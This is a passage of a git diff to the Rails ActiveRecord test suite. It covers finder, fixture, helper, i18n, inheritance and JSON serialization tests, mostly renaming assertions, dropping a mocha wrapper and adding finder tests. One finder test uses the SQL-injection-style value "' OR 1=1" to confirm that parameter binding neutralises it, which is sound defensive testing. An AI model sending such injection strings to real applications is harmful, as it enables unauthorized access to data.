+      Topic.create!(:author_name => 'Bill', :content => {:a => "a"})
+      topic = Topic.first(:select => 'id, author_name')
+      topic.update_attribute :author_name, 'John'
+      topic = Topic.first
+      assert_not_nil topic.content
+    end
+  end
+
   private
     def with_partial_updates(klass, on = true)
       old = klass.partial_updates?
diff --git a/vendor/rails/activerecord/test/cases/finder_test.rb b/vendor/rails/activerecord/test/cases/finder_test.rb
index 153880af..f1bede9b 100644
--- a/vendor/rails/activerecord/test/cases/finder_test.rb
+++ b/vendor/rails/activerecord/test/cases/finder_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require 'models/post'
 require 'models/author'
 require 'models/categorization'
 require 'models/comment'
@@ -7,7 +8,6 @@ require 'models/topic'
 require 'models/reply'
 require 'models/entrant'
 require 'models/developer'
-require 'models/post'
 require 'models/customer'
 require 'models/job'
 require 'models/categorization'
@@ -95,6 +95,15 @@ class FinderTest < ActiveRecord::TestCase
     assert_raise(NoMethodError) { Topic.exists?([1,2]) }
   end
 
+  def test_exists_returns_true_with_one_record_and_no_args
+    assert Topic.exists?
+  end
+
+  def test_does_not_exist_with_empty_table_and_no_args_given
+    Topic.delete_all
+    assert !Topic.exists?
+  end
+
   def test_exists_with_aggregate_having_three_mappings
     existing_address = customers(:david).address
     assert Customer.exists?(:address => existing_address)
@@ -110,6 +119,12 @@ class FinderTest < ActiveRecord::TestCase
       Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
   end
 
+  def test_exists_with_scoped_include
+    Developer.with_scope(:find => { :include => :projects, :order => "projects.name" }) do
+      assert Developer.exists?
+    end
+  end
+
   def test_find_by_array_of_one_id
     assert_kind_of(Array, Topic.find([ 1 ]))
     assert_equal(1, Topic.find([ 1 ]).length)
@@ -137,14 +152,12 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_ids_missing_one
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
   end
 
   def test_find_all_with_limit
-    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2)
-
-    assert_equal(2, entrants.size)
-    assert_equal(entrants(:first).name, entrants.first.name)
+    assert_equal(2, Entrant.find(:all, :limit => 2).size)
+    assert_equal(0, Entrant.find(:all, :limit => 0).size)
   end
 
   def test_find_all_with_prepared_limit_and_offset
@@ -153,21 +166,22 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal(2, entrants.size)
     assert_equal(entrants(:second).name, entrants.first.name)
 
+    assert_equal 3, Entrant.count
     entrants = Entrant.find(:all, :order => "id ASC", :limit => 2, :offset => 2)
     assert_equal(1, entrants.size)
     assert_equal(entrants(:third).name, entrants.first.name)
   end
 
-  def test_find_all_with_limit_and_offset_and_multiple_orderings
-    developers = Developer.find(:all, :order => "salary ASC, id DESC", :limit => 3, :offset => 1)
-    assert_equal ["David", "fixture_10", "fixture_9"], developers.collect {|d| d.name}
+  def test_find_all_with_limit_and_offset_and_multiple_order_clauses
+    first_three_posts = Post.find :all, :order => 'author_id, id', :limit => 3, :offset => 0
+    second_three_posts = Post.find :all, :order => ' author_id,id ', :limit => 3, :offset => 3
+    last_posts = Post.find :all, :order => ' author_id, id  ', :limit => 3, :offset => 6
+
+    assert_equal [[0,3],[1,1],[1,2]], first_three_posts.map { |p| [p.author_id, p.id] }
+    assert_equal [[1,4],[1,5],[1,6]], second_three_posts.map { |p| [p.author_id, p.id] }
+    assert_equal [[2,7]], last_posts.map { |p| [p.author_id, p.id] }
   end
 
-  def test_find_with_limit_and_condition
-    developers = Developer.find(:all, :order => "id DESC", :conditions => "salary = 100000", :limit => 3, :offset =>7)
-    assert_equal(1, developers.size)
-    assert_equal("fixture_3", developers.first.name)
-  end
 
   def test_find_with_group
     developers =  Developer.find(:all, :group => "salary", :select => "salary")
@@ -175,6 +189,20 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal 4, developers.map(&:salary).uniq.size
   end
 
+  def test_find_with_group_and_having
+    developers =  Developer.find(:all, :group => "salary", :having => "sum(salary) >  10000", :select => "salary")
+    assert_equal 3, developers.size
+    assert_equal 3, developers.map(&:salary).uniq.size
+    assert developers.all? { |developer|  developer.salary > 10000 }
+  end
+
+  def test_find_with_group_and_sanitized_having
+    developers =  Developer.find(:all, :group => "salary", :having => ["sum(salary) > ?", 10000], :select => "salary")
+    assert_equal 3, developers.size
+    assert_equal 3, developers.map(&:salary).uniq.size
+    assert developers.all? { |developer|  developer.salary > 10000 }
+  end
+
   def test_find_with_entire_select_statement
     topics = Topic.find_by_sql "SELECT * FROM topics WHERE author_name = 'Mary'"
 
@@ -213,7 +241,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_unexisting_record_exception_handling
-    assert_raises(ActiveRecord::RecordNotFound) {
+    assert_raise(ActiveRecord::RecordNotFound) {
       Topic.find(1).parent
     }
 
@@ -222,7 +250,7 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_find_only_some_columns
     topic = Topic.find(1, :select => "author_name")
-    assert_raises(ActiveRecord::MissingAttributeError) {topic.title}
+    assert_raise(ActiveRecord::MissingAttributeError) {topic.title}
     assert_equal "David", topic.author_name
     assert !topic.attribute_present?("title")
     #assert !topic.respond_to?("title")
@@ -244,22 +272,22 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_find_on_array_conditions
     assert Topic.find(1, :conditions => ["approved = ?", false])
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => ["approved = ?", true]) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => ["approved = ?", true]) }
   end
 
   def test_find_on_hash_conditions
     assert Topic.find(1, :conditions => { :approved => false })
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :approved => true }) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :approved => true }) }
   end
 
   def test_find_on_hash_conditions_with_explicit_table_name
     assert Topic.find(1, :conditions => { 'topics.approved' => false })
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { 'topics.approved' => true }) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { 'topics.approved' => true }) }
   end
 
   def test_find_on_hash_conditions_with_hashed_table_name
     assert Topic.find(1, :conditions => {:topics => { :approved => false }})
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => {:topics => { :approved => true }}) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => {:topics => { :approved => true }}) }
   end
 
   def test_find_with_hash_conditions_on_joined_table
@@ -277,7 +305,7 @@ class FinderTest < ActiveRecord::TestCase
   def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
     david = customers(:david)
     assert Customer.find(david.id, :conditions => { 'customers.name' => david.name, :address => david.address })
-    assert_raises(ActiveRecord::RecordNotFound) {
+    assert_raise(ActiveRecord::RecordNotFound) {
       Customer.find(david.id, :conditions => { 'customers.name' => david.name + "1", :address => david.address })
     }
   end
@@ -288,7 +316,13 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_find_on_hash_conditions_with_range
     assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1..2 }).map(&:id).sort
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) }
+  end
+
+  def test_find_on_hash_conditions_with_end_exclusive_range
+    assert_equal [1,2,3], Topic.find(:all, :conditions => { :id => 1..3 }).map(&:id).sort
+    assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1...3 }).map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(3, :conditions => { :id => 2...3 }) }
   end
 
   def test_find_on_hash_conditions_with_multiple_ranges
@@ -298,9 +332,9 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_find_on_multiple_hash_conditions
     assert Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false })
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }) }
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
   end
 
   def test_condition_interpolation
@@ -324,7 +358,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_hash_condition_find_malformed
-    assert_raises(ActiveRecord::StatementInvalid) {
+    assert_raise(ActiveRecord::StatementInvalid) {
       Company.find(:first, :conditions => { :id => 2, :dhh => true })
     }
   end
@@ -393,10 +427,10 @@ class FinderTest < ActiveRecord::TestCase
     assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!"])
     assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!' OR 1=1"])
     assert_kind_of Time, Topic.find(:first, :conditions => ["id = ?", 1]).written_on
-    assert_raises(ActiveRecord::PreparedStatementInvalid) {
+    assert_raise(ActiveRecord::PreparedStatementInvalid) {
       Company.find(:first, :conditions => ["id=? AND name = ?", 2])
     }
-    assert_raises(ActiveRecord::PreparedStatementInvalid) {
+    assert_raise(ActiveRecord::PreparedStatementInvalid) {
      Company.find(:first, :conditions => ["id=?", 2, 3, 4])
     }
   end
@@ -413,11 +447,11 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_bind_arity
     assert_nothing_raised                                 { bind '' }
-    assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '', 1 }
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '', 1 }
 
-    assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '?' }
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?' }
     assert_nothing_raised                                 { bind '?', 1 }
-    assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1  }
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1  }
   end
 
   def test_named_bind_variables
@@ -500,21 +534,19 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
   end
 
-  uses_mocha('test_dynamic_finder_should_go_through_the_find_class_method') do
-    def test_dynamic_finders_should_go_through_the_find_class_method
-      Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' })
-      Topic.find_by_title("The First Topic!")
+  def test_dynamic_finders_should_go_through_the_find_class_method
+    Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' })
+    Topic.find_by_title("The First Topic!")
 
-      Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' })
-      Topic.find_last_by_title("The Last Topic!")
+    Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' })
+    Topic.find_last_by_title("The Last Topic!")
 
-      Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' })
-      Topic.find_all_by_title("A Topic.")
+    Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' })
+    Topic.find_all_by_title("A Topic.")
 
-      Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2)
-      Topic.find_or_initialize_by_title('Does not exist yet for sure!')
-      Topic.find_or_create_by_title('Does not exist yet for sure!')
-    end
+    Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2)
+    Topic.find_or_initialize_by_title('Does not exist yet for sure!')
+    Topic.find_or_create_by_title('Does not exist yet for sure!')
   end
 
   def test_find_by_one_attribute
@@ -524,7 +556,7 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_find_by_one_attribute_bang
     assert_equal topics(:first), Topic.find_by_title!("The First Topic")
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
   end
 
   def test_find_by_one_attribute_caches_dynamic_finder
@@ -605,14 +637,14 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_one_missing_attribute
-    assert_raises(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
+    assert_raise(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
   end
 
   def test_find_by_invalid_method_syntax
-    assert_raises(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
-    assert_raises(NoMethodError) { Topic.find_by_title?("The First Topic") }
-    assert_raises(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
-    assert_raises(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
+    assert_raise(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
+    assert_raise(NoMethodError) { Topic.find_by_title?("The First Topic") }
+    assert_raise(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
+    assert_raise(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
   end
 
   def test_find_by_two_attributes
@@ -634,8 +666,8 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_last_by_invalid_method_syntax
-    assert_raises(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
-    assert_raises(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
+    assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
+    assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
   end
 
   def test_find_last_by_one_attribute_with_several_options
@@ -643,7 +675,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_last_by_one_missing_attribute
-    assert_raises(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
+    assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
   end
 
   def test_find_last_by_two_attributes
@@ -896,50 +928,16 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_bad_sql
-    assert_raises(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
+    assert_raise(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
   end
 
   def test_find_with_invalid_params
-    assert_raises(ArgumentError) { Topic.find :first, :join => "It should be `joins'" }
-    assert_raises(ArgumentError) { Topic.find :first, :conditions => '1 = 1', :join => "It should be `joins'" }
+    assert_raise(ArgumentError) { Topic.find :first, :join => "It should be `joins'" }
+    assert_raise(ArgumentError) { Topic.find :first, :conditions => '1 = 1', :join => "It should be `joins'" }
   end
 
   def test_dynamic_finder_with_invalid_params
-    assert_raises(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
-  end
-
-  def test_find_all_with_limit
-    first_five_developers = Developer.find :all, :order => 'id ASC', :limit =>  5
-    assert_equal 5, first_five_developers.length
-    assert_equal 'David', first_five_developers.first.name
-    assert_equal 'fixture_5', first_five_developers.last.name
-
-    no_developers = Developer.find :all, :order => 'id ASC', :limit => 0
-    assert_equal 0, no_developers.length
-  end
-
-  def test_find_all_with_limit_and_offset
-    first_three_developers = Developer.find :all, :order => 'id ASC', :limit => 3, :offset => 0
-    second_three_developers = Developer.find :all, :order => 'id ASC', :limit => 3, :offset => 3
-    last_two_developers = Developer.find :all, :order => 'id ASC', :limit => 2, :offset => 8
-
-    assert_equal 3, first_three_developers.length
-    assert_equal 3, second_three_developers.length
-    assert_equal 2, last_two_developers.length
-
-    assert_equal 'David', first_three_developers.first.name
-    assert_equal 'fixture_4', second_three_developers.first.name
-    assert_equal 'fixture_9', last_two_developers.first.name
-  end
-
-  def test_find_all_with_limit_and_offset_and_multiple_order_clauses
-    first_three_posts = Post.find :all, :order => 'author_id, id', :limit => 3, :offset => 0
-    second_three_posts = Post.find :all, :order => ' author_id,id ', :limit => 3, :offset => 3
-    last_posts = Post.find :all, :order => ' author_id, id  ', :limit => 3, :offset => 6
-
-    assert_equal [[0,3],[1,1],[1,2]], first_three_posts.map { |p| [p.author_id, p.id] }
-    assert_equal [[1,4],[1,5],[1,6]], second_three_posts.map { |p| [p.author_id, p.id] }
-    assert_equal [[2,7]], last_posts.map { |p| [p.author_id, p.id] }
+    assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
   end
 
   def test_find_all_with_join
@@ -1037,6 +1035,14 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal [0, 1, 1], posts.map(&:author_id).sort
   end
 
+  def test_finder_with_scoped_from
+    all_topics = Topic.all
+
+    Topic.with_scope(:find => { :from => 'fake_topics' }) do
+      assert_equal all_topics, Topic.all(:from => 'topics')
+    end
+  end
+
   protected
     def bind(statement, *vars)
       if vars.first.is_a?(Hash)
diff --git a/vendor/rails/activerecord/test/cases/fixtures_test.rb b/vendor/rails/activerecord/test/cases/fixtures_test.rb
index 6ba7597f..f965652a 100644
--- a/vendor/rails/activerecord/test/cases/fixtures_test.rb
+++ b/vendor/rails/activerecord/test/cases/fixtures_test.rb
@@ -151,7 +151,7 @@ class FixturesTest < ActiveRecord::TestCase
   end
 
   def test_dirty_dirty_yaml_file
-    assert_raises(Fixture::FormatError) do
+    assert_raise(Fixture::FormatError) do
       Fixtures.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
     end
   end
@@ -185,7 +185,7 @@ class FixturesTest < ActiveRecord::TestCase
 
   def test_binary_in_fixtures
     assert_equal 1, @binaries.size
-    data = File.read(ASSETS_ROOT + "/flowers.jpg")
+    data = File.open(ASSETS_ROOT + "/flowers.jpg", 'rb') { |f| f.read }
     data.force_encoding('ASCII-8BIT') if data.respond_to?(:force_encoding)
     data.freeze
     assert_equal data, @flowers.data
@@ -265,12 +265,10 @@ class FixturesWithoutInstantiationTest < ActiveRecord::TestCase
     assert_raise(StandardError) { topics([:first, :second]) }
   end
 
-  uses_mocha 'reloading_fixtures_through_accessor_methods' do
-    def test_reloading_fixtures_through_accessor_methods
-      assert_equal "The First Topic", topics(:first).title
-      @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!"))
-      assert_equal "Fresh Topic!", topics(:first, true).title
-    end
+  def test_reloading_fixtures_through_accessor_methods
+    assert_equal "The First Topic", topics(:first).title
+    @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!"))
+    assert_equal "Fresh Topic!", topics(:first, true).title
   end
 end
 
@@ -422,7 +420,7 @@ class InvalidTableNameFixturesTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
   def test_raises_error
-    assert_raises FixtureClassNotFound do
+    assert_raise FixtureClassNotFound do
       funny_jokes(:a_joke)
     end
   end
@@ -520,6 +518,11 @@ class FoxyFixturesTest < ActiveRecord::TestCase
     assert_equal(Fixtures.identify(:foo), Fixtures.identify(:foo))
   end
 
+  def test_identifies_consistently
+    assert_equal 207281424, Fixtures.identify(:ruby)
+    assert_equal 1066363776, Fixtures.identify(:sapphire_2)
+  end
+
   TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
 
   def test_populates_timestamp_columns
@@ -639,17 +642,15 @@ class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
 end
 
 class FixtureLoadingTest < ActiveRecord::TestCase
-  uses_mocha 'reloading_fixtures_through_accessor_methods' do
-    def test_logs_message_for_failed_dependency_load
-      Test::Unit::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
-      ActiveRecord::Base.logger.expects(:warn)
-      Test::Unit::TestCase.try_to_load_dependency(:does_not_exist)
-    end
+  def test_logs_message_for_failed_dependency_load
+    ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
+    ActiveRecord::Base.logger.expects(:warn)
+    ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist)
+  end
 
-    def test_does_not_logs_message_for_successful_dependency_load
-      Test::Unit::TestCase.expects(:require_dependency).with(:works_out_fine)
-      ActiveRecord::Base.logger.expects(:warn).never
-      Test::Unit::TestCase.try_to_load_dependency(:works_out_fine)
-    end
+  def test_does_not_logs_message_for_successful_dependency_load
+    ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine)
+    ActiveRecord::Base.logger.expects(:warn).never
+    ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
   end
 end
diff --git a/vendor/rails/activerecord/test/cases/helper.rb b/vendor/rails/activerecord/test/cases/helper.rb
index f7bdac80..1ef38c99 100644
--- a/vendor/rails/activerecord/test/cases/helper.rb
+++ b/vendor/rails/activerecord/test/cases/helper.rb
@@ -2,13 +2,18 @@ $:.unshift(File.dirname(__FILE__) + '/../../lib')
 $:.unshift(File.dirname(__FILE__) + '/../../../activesupport/lib')
 
 require 'config'
+
+require 'rubygems'
 require 'test/unit'
+require 'stringio'
 
 require 'active_record'
-require 'active_record/fixtures'
 require 'active_record/test_case'
+require 'active_record/fixtures'
 require 'connection'
 
+require 'cases/repair_helper'
+
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
@@ -22,16 +27,8 @@ def current_adapter?(*types)
   end
 end
 
-def uses_mocha(description)
-  require 'rubygems'
-  require 'mocha'
-  yield
-rescue LoadError
-  $stderr.puts "Skipping #{description} tests. `gem install mocha` and try again."
-end
-
 ActiveRecord::Base.connection.class.class_eval do
-  IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/]
+  IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /SHOW FIELDS/]
 
   def execute_with_query_record(sql, name = nil, &block)
     $queries_executed ||= []
@@ -48,15 +45,24 @@ class << ActiveRecord::Base
 end
 
 unless ENV['FIXTURE_DEBUG']
-  module Test #:nodoc:
-    module Unit #:nodoc:
-      class << TestCase #:nodoc:
-        def try_to_load_dependency_with_silence(*args)
-          ActiveRecord::Base.logger.silence { try_to_load_dependency_without_silence(*args)}
-        end
-
-        alias_method_chain :try_to_load_dependency, :silence
-      end
+  module ActiveRecord::TestFixtures::ClassMethods
+    def try_to_load_dependency_with_silence(*args)
+      ActiveRecord::Base.logger.silence { try_to_load_dependency_without_silence(*args)}
     end
+
+    alias_method_chain :try_to_load_dependency, :silence
   end
-end
\ No newline at end of file
+end
+
+class ActiveSupport::TestCase
+  include ActiveRecord::TestFixtures
+  include ActiveRecord::Testing::RepairHelper
+
+  self.fixture_path = FIXTURES_ROOT
+  self.use_instantiated_fixtures  = false
+  self.use_transactional_fixtures = true
+
+  def create_fixtures(*table_names, &block)
+    Fixtures.create_fixtures(ActiveSupport::TestCase.fixture_path, table_names, {}, &block)
+  end
+end
diff --git a/vendor/rails/activerecord/test/cases/i18n_test.rb b/vendor/rails/activerecord/test/cases/i18n_test.rb
index b1db662e..d59c53ce 100644
--- a/vendor/rails/activerecord/test/cases/i18n_test.rb
+++ b/vendor/rails/activerecord/test/cases/i18n_test.rb
@@ -12,6 +12,11 @@ class ActiveRecordI18nTests < Test::Unit::TestCase
     I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
     assert_equal 'topic title attribute', Topic.human_attribute_name('title')
   end
+  
+  def test_translated_model_attributes_with_symbols
+    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
+    assert_equal 'topic title attribute', Topic.human_attribute_name(:title)
+  end
 
   def test_translated_model_attributes_with_sti
     I18n.backend.store_translations 'en', :activerecord => {:attributes => {:reply => {:title => 'reply title attribute'} } }
diff --git a/vendor/rails/activerecord/test/cases/inheritance_test.rb b/vendor/rails/activerecord/test/cases/inheritance_test.rb
index 3f59eb97..eae5a608 100644
--- a/vendor/rails/activerecord/test/cases/inheritance_test.rb
+++ b/vendor/rails/activerecord/test/cases/inheritance_test.rb
@@ -68,7 +68,7 @@ class InheritanceTest < ActiveRecord::TestCase
     if current_adapter?(:SybaseAdapter)
       Company.connection.execute "SET IDENTITY_INSERT companies OFF"
     end
-    assert_raises(ActiveRecord::SubclassNotFound) { Company.find(100) }
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
   end
 
   def test_inheritance_find
@@ -124,7 +124,7 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_finding_incorrect_type_data
-    assert_raises(ActiveRecord::RecordNotFound) { Firm.find(2) }
+    assert_raise(ActiveRecord::RecordNotFound) { Firm.find(2) }
     assert_nothing_raised   { Firm.find(1) }
   end
 
diff --git a/vendor/rails/activerecord/test/cases/json_serialization_test.rb b/vendor/rails/activerecord/test/cases/json_serialization_test.rb
index 3446e5e7..54bc8e23 100644
--- a/vendor/rails/activerecord/test/cases/json_serialization_test.rb
+++ b/vendor/rails/activerecord/test/cases/json_serialization_test.rb
@@ -26,19 +26,19 @@ class JsonSerializationTest < ActiveRecord::TestCase
     NamespacedContact.include_root_in_json = true
     @contact = NamespacedContact.new :name => 'whatever'
     json = @contact.to_json
-    assert_match %r{^\{"namespaced_contact": \{}, json
+    assert_match %r{^\{"namespaced_contact":\{}, json
   end
 
   def test_should_include_root_in_json
     Contact.include_root_in_json = true
     json = @contact.to_json
 
-    assert_match %r{^\{"contact": \{}, json
-    assert_match %r{"name": "Konata Izumi"}, json
-    assert_match %r{"age": 16}, json
-    assert json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"awesome": true}, json
-    assert_match %r{"preferences": \{"shows": "anime"\}}, json
+    assert_match %r{^\{"contact":\{}, json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
   ensure
     Contact.include_root_in_json = false
   end
@@ -46,31 +46,31 @@ class JsonSerializationTest < ActiveRecord::TestCase
   def test_should_encode_all_encodable_attributes
     json = @contact.to_json
 
-    assert_match %r{"name": "Konata Izumi"}, json
-    assert_match %r{"age": 16}, json
-    assert json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"awesome": true}, json
-    assert_match %r{"preferences": \{"shows": "anime"\}}, json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
   end
 
   def test_should_allow_attribute_filtering_with_only
     json = @contact.to_json(:only => [:name, :age])
 
-    assert_match %r{"name": "Konata Izumi"}, json
-    assert_match %r{"age": 16}, json
-    assert_no_match %r{"awesome": true}, json
-    assert !json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_no_match %r{"preferences": \{"shows": "anime"\}}, json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_no_match %r{"awesome":true}, json
+    assert !json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_no_match %r{"preferences":\{"shows":"anime"\}}, json
   end
 
   def test_should_allow_attribute_filtering_with_except
     json = @contact.to_json(:except => [:name, :age])
 
-    assert_no_match %r{"name": "Konata Izumi"}, json
-    assert_no_match %r{"age": 16}, json
-    assert_match %r{"awesome": true}, json
-    assert json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-    assert_match %r{"preferences": \{"shows": "anime"\}}, json
+    assert_no_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{"age":16}, json
+    assert_match %r{"awesome":true}, json
+    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
   end
 
   def test_methods_are_called_on_object
@@ -79,12 +79,12 @@ class JsonSerializationTest < ActiveRecord::TestCase
     def @contact.favorite_quote; "Constraints are liberating"; end
 
     # Single method.
-    assert_match %r{"label": "Has cheezburger"}, @contact.to_json(:only => :name, :methods => :label)
+    assert_match %r{"label":"Has cheezburger"}, @contact.to_json(:only => :name, :methods => :label)
 
     # Both methods.
     methods_json = @contact.to_json(:only => :name, :methods => [:label, :favorite_quote])
-    assert_match %r{"label": "Has cheezburger"}, methods_json
-    assert_match %r{"favorite_quote": "Constraints are liberating"}, methods_json
+    assert_match %r{"label":"Has cheezburger"}, methods_json
+    assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
   end
 end
 
@@ -99,42 +99,42 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
   def test_includes_uses_association_name
     json = @david.to_json(:include => :posts)
 
-    assert_match %r{"posts": \[}, json
+    assert_match %r{"posts":\[}, json
 
-    assert_match %r{"id": 1}, json
-    assert_match %r{"name": "David"}, json
+    assert_match %r{"id":1}, json
+    assert_match %r{"name":"David"}, json
 
